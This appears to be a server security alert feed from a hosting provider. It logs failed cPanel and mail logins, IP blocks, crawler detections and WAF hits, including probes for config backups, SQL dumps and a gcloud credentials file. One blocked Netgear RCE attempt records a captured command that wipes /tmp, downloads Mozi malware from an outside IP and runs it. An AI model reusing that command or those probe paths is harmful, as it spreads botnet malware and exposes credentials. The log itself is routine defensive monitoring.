# incident

plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.255.151.130
country_id: 3144096
description:
[2026-06-14 20:01:50 +0000] info [webmaild] 178.255.151.130 - adosreis@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 14 20:03:07 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.93.165.178
country_id: 3469034
description:
Jun 14 20:03:51 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.93.165.178 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.31.20.3
country_id: 6252001
description:
[2026-06-14 20:05:33 +0000] info [webmaild] 64.31.20.3 - arse@arse.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 206.123.159.20
country_id: 1269750
description:
[2026-06-14 20:05:53 +0000] info [webmaild] 206.123.159.20 - ccit@ccit.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77316728
name: IM360 WAF: Netgear unauthenticated RCE
abuser: 38.100.221.194
country_id: 1168579
description:
IM360 WAF: Netgear unauthenticated RCE||RSV:8.16||T:APACHE||MVN:ARGS:cmd||MV:rm -rf /tmp/*;wget http://38.100.221.194:55774/Mozi.m -O /tmp/netgear;sh netgear||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.249.140.90
country_id: 3469034
description:
Jun 14 20:09:12 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.249.140.90 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 119.249.100.25
country_id: 1814991
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/index.php/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.249.140.90
country_id: 3469034
description:
Jun 14 20:09:20 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.249.140.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 14 20:11:16 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.41.13.157
country_id: 286963
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/partenaire HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 185.101.254.187
country_id: 3017382
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:185.101.254.187||TA:185.101.254.187||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 204.217.245.185
country_id: 2635167
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:204.217.245.185||TA:204.217.245.185||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.105.119.197
country_id: 2635167
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:198.105.119.197||TA:198.105.119.197||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.15.122.79
country_id: 3469034
description:
[2026-06-14 20:15:43 +0000] info [whostmgrd] 189.15.122.79 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.90.186.70
country_id: 192950
description:
2026-06-14 20:16:14 dovecot_plain authenticator failed for H=(r0l501swu9z46hgtrdm65s3fw) [41.90.186.70]:2238: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.171.193.194
country_id: 6252001
description:
2026-06-14 20:17:28 dovecot_plain authenticator failed for H=c-73-171-193-194.hsd1.fl.comcast.net (ohec57zq9zksjz67gi772l9fd) [73.171.193.194]:34873: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 14 20:18:08 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.21.162
country_id: 1880251
domain: test.zephyr.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.156.49.209
country_id: 6252001
description:
[2026-06-14 20:25:31 +0000] info [cpaneld] 104.156.49.209 - cafetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 14 20:26:17 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 209.127.183.135
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:209.127.183.135||TA:209.127.183.135||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.122.223.4
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/commerce-regional-le-poste-frontalier-dakanou-noepe-modernise/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.122.223.4
country_id: 3625428
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/commerce-regional-le-poste-frontalier-dakanou-noepe-modernise/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 77.83.26.102
country_id: 6252001
domain: ortouche.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 176.97.79.140
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-29.176.97.79.140||RSV:8.16||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.233.13.188
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:104.233.13.188||TA:104.233.13.188||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.65.67.221
country_id: 690791
domain: ca-togo.org
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.sanlam.com||User:egjvuiox||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 14 20:33:10 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 176.97.79.140
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-33.176.97.79.140||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.125.174.242
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/149.0.0.0 Safari/537.36||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.162.108.43
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-content/uploads/2018/02/AMI-2018.pdf HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.107
country_id: 1880251
description:
47.128.122.107 - - [14/Jun/2026:20:39:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6932372&pdata=https%253A%252F%252Ftogodailynews.tg%252Fla-perte-de-nationalite-desormais-possible-aux-togolais%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781469557 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/la-perte-de-nationalite-desormais-possible-aux-togolais/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.107


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.200
country_id: 1880251
description:
47.128.96.200 - - [14/Jun/2026:20:39:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792112&pdata=https%253A%252F%252Ftdn.tg%252Femploi-le-cabinet-aka-financial-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781469568 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/emploi-le-cabinet-aka-financial-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.200


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 14 20:41:20 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.12
country_id: 1880251
description:
47.128.122.12 - - [14/Jun/2026:20:43:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066065&pdata=https%253A%252F%252Ftogodailynews.tg%252F1173-2%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781469796 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/1173-2/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.12


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 67.227.113.107
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:67.227.113.107||TA:67.227.113.107||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.130.201.198
country_id: 3351879
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tg/femmes-tics-et-promotrices-denfants-genies-informatiques-au-cameroun/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.130.201.198
country_id: 3351879
domain: cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tghttp/cafe.tg/femmes-tics-et-promotrices-denfants-genies-informatiques-au-cameroun/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.42.224
country_id: 6251999
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:104.239.42.224||TA:104.239.42.224||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.53.216.209
country_id: 2077456
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:103.53.216.209||TA:103.53.216.209||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.84.27.146
country_id: 1861060
domain: expire.netmaster.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/.config/gcloud/credentials.db||User:expirefreenetmas||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 34.84.27.146
country_id: 1861060
domain: expire.netmaster.tg
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.bak||RSV:8.16||T:APACHE||REQUEST_URI:/wp-config.php.bak||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 34.84.27.146
country_id: 1861060
domain: expire.netmaster.tg
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.16||T:APACHE||MV:wp-config.php~||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.228.131.114
country_id: 2029969
description:
Jun 14 20:52:09 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.228.131.114 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [14/Jun/2026:20:51:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7303275&pdata=http%253A%252F%252Fwww.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781470309 HTTP/1.1" 302 0 www.crepsad.tg "http://www.crepsad.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.213.131.12
country_id: 1835841
description:
Jun 14 20:53:40 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.213.131.12 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.151.165.128
country_id: 2077456
domain: www.voozanoo.pnls.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup.sql||User:pnls||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 98.95.21.183
country_id: 6252001
domain: www.demo.brmn.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.151.165.128
country_id: 2077456
domain: www.voozanoo.pnls.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/website_backup.sql||User:pnls||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.111.45.155
country_id: 6252001
description:
2026-06-14 20:57:27 dovecot_plain authenticator failed for H=pool-74-111-45-155.syrcny.fios.verizon.net (fbh2c1pxbhty4uupgv) [74.111.45.155]:59253: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.106.18
country_id: 226074
description:
Jun 14 20:57:38 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.106.18 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.151.165.128
country_id: 2077456
domain: www.voozanoo.pnls.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/restore.sql||User:pnls||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.240.67.9
country_id: 2661886
description:
[2026-06-14 20:58:54 +0000] info [webmaild] 91.240.67.9 - papson.fiatuwo@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.107.27
country_id: 6252001
domain: macite.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:104.239.107.27||TA:104.239.107.27||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.147.244.81
country_id: 6252001
domain: macite.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:142.147.244.81||TA:142.147.244.81||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.156.68
country_id: 2017370
description:
2026-06-14 21:00:21 dovecot_plain authenticator failed for H=(0o3eb3zucrlg7gj1srileobtudf) [104.28.156.68]:57686: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.109.196
country_id: 1562822
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tg/intelligence-artificielle-lafrique/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.109.196
country_id: 1562822
domain: cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tghttp/cafe.tg/intelligence-artificielle-lafrique/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.151.165.128
country_id: 2077456
domain: www.voozanoo.pnls.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/current.sql||User:pnls||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 145.223.51.248
country_id: 2750405
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:145.223.51.248||TA:145.223.51.248||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 108.165.181.78
country_id: 1861060
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:108.165.181.78||TA:108.165.181.78||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.151.165.128
country_id: 2077456
domain: www.voozanoo.pnls.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/artifacts.sql||User:pnls||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [14/Jun/2026:21:02:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723478&pdata=http%253A%252F%252Fcpcalendars.communekloto1.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781470959 HTTP/1.1" 302 0 cpcalendars.communekloto1.tg "http://cpcalendars.communekloto1.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [14/Jun/2026:21:02:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13199210&pdata=http%253A%252F%252Fcpcalendars.communekloto1.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781470976 HTTP/1.1" 302 0 cpcalendars.communekloto1.tg "http://cpcalendars.communekloto1.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [14/Jun/2026:21:03:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723179&pdata=http%253A%252F%252Fcpcalendars.communekloto1.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781471013 HTTP/1.1" 302 0 cpcalendars.communekloto1.tg "http://cpcalendars.communekloto1.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [14/Jun/2026:21:03:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6579100&pdata=http%253A%252F%252Fcpcalendars.communekloto1.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781471014 HTTP/1.1" 302 0 cpcalendars.communekloto1.tg "http://cpcalendars.communekloto1.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.223.47.254
country_id: 953987
description:
2026-06-14 21:03:19 dovecot_login authenticator failed for H=(factor.makemesome.space) [102.223.47.254]:47408: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [14/Jun/2026:21:03:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134540&pdata=https%253A%252F%252Fcpcalendars.communekloto1.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781471015 HTTP/2.0" 302 0 cpcalendars.communekloto1.tg "https://cpcalendars.communekloto1.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-14 21:04:41 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:58458: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 34.162.40.213
country_id: 6252001
domain: www.boadtitrisation.org.154-70-82-246.cpanel.site
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:EmailWolf 1.00||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.151.165.128
country_id: 2077456
domain: www.voozanoo.pnls.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/backend.sql||User:pnls||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.162.40.213
country_id: 6252001
domain: www.boadtitrisation.org.154-70-82-246.cpanel.site
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/settings.ini||User:titrisat||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.151.165.128
country_id: 2077456
domain: www.voozanoo.pnls.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/client.sql||User:pnls||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 191.101.11.164
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:191.101.11.164||TA:191.101.11.164||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.71.137
country_id: 3077311
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:104.252.71.137||TA:104.252.71.137||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 140.99.206.146
country_id: 3017382
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:140.99.206.146||TA:140.99.206.146||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 185.15.178.243
country_id: 3895114
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:185.15.178.243||TA:185.15.178.243||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.175.242.9
country_id: 2635167
description:
2026-06-14 21:09:07 dovecot_login authenticator failed for H=(cameg-togo.tg) [5.175.242.9]:51139: 535 Incorrect authentication data (set_id=sales@mail.cameg-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.67
country_id: 3175395
description:
Jun 14 21:09:19 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.67 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.151.165.128
country_id: 2077456
domain: www.voozanoo.pnls.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/htdocs.sql||User:pnls||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.67
country_id: 3175395
description:
Jun 14 21:09:26 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.67 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 161.123.138.97
country_id: 390903
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:161.123.138.97||TA:161.123.138.97||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.151.165.128
country_id: 2077456
domain: www.voozanoo.pnls.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/wwwroot.sql||User:pnls||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.123.195
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:152.232.123.195||TA:152.232.123.195||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.151.165.128
country_id: 2077456
domain: www.voozanoo.pnls.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/httpsdocs.sql||User:pnls||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.156.104
country_id: 1880251
description:
[2026-06-14 21:10:47 +0000] info [cpaneld] 104.28.156.104 - czqxxxnu "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.151.165.128
country_id: 2077456
domain: www.voozanoo.pnls.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/configuration.sql||User:pnls||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.156.104
country_id: 1880251
description:
